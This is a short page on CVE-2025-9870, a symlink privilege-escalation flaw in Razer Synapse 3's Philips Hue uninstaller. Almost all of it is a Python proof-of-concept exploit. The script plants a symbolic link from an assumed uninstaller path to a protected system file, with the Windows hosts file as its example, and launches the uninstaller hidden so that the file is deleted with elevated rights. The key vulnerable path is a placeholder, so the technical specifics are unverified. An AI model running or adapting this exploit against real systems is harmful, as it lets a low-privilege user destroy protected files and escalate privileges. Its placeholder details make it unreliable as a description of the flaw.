CVE-2025-9870: Razer Synapse 3 符号链接本地权限提升漏洞

# CVE-2025-9870 PoC - Razer Synapse 3 Symlink LPE # Target: Razer Synapse 3 RazerPhilipsHueUninstall # Environment: Windows with Razer Synapse 3 installed import os import sys import subprocess import shutil import ctypes def create_symlink(target, link_name): """Create a symbolic link (requires admin on older Windows)""" try: if os.path.exists(link_name): os.remove(link_name) os.symlink(target, link_name) print(f"[+] Symlink created: {link_name} -> {target}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def exploit(): """ Exploitation steps: 1. Identify target file to delete (e.g., security-related DLL) 2. Create symlink from installer target path to critical file 3. Trigger RazerPhilipsHueUninstall 4. Leverage for privilege escalation """ # Step 1: Identify Razer Synapse installation path razer_path = r"C:\Program Files\Razer\Synapse3" uninstall_path = os.path.join(razer_path, "RazerPhilipsHueUninstall.exe") # Step 2: Target critical file for deletion # Replace with actual vulnerable path from Philips Hue module vulnerable_path = r"C:\Users\Public\Documents\PhilipsHue\temp\config.dat" target_file = r"C:\Windows\System32\drivers\etc\hosts" # Example target # Step 3: Create parent directory if needed parent_dir = os.path.dirname(vulnerable_path) if not os.path.exists(parent_dir): os.makedirs(parent_dir, exist_ok=True) # Step 4: Create symlink if create_symlink(target_file, vulnerable_path): print("[+] Symlink ready, triggering uninstaller...") # Step 5: Trigger uninstaller (may require user interaction) try: subprocess.Popen([uninstall_path], creationflags=subprocess.CREATE_NO_WINDOW) print("[+] Uninstaller triggered") except Exception as e: print(f"[-] Failed to trigger uninstaller: {e}") return True if __name__ == "__main__": if ctypes.windll.shell32.IsUserAnAdmin(): print("[!] Run as low-privilege user for proper testing") else: print("[*] Running as low-privilege user") exploit()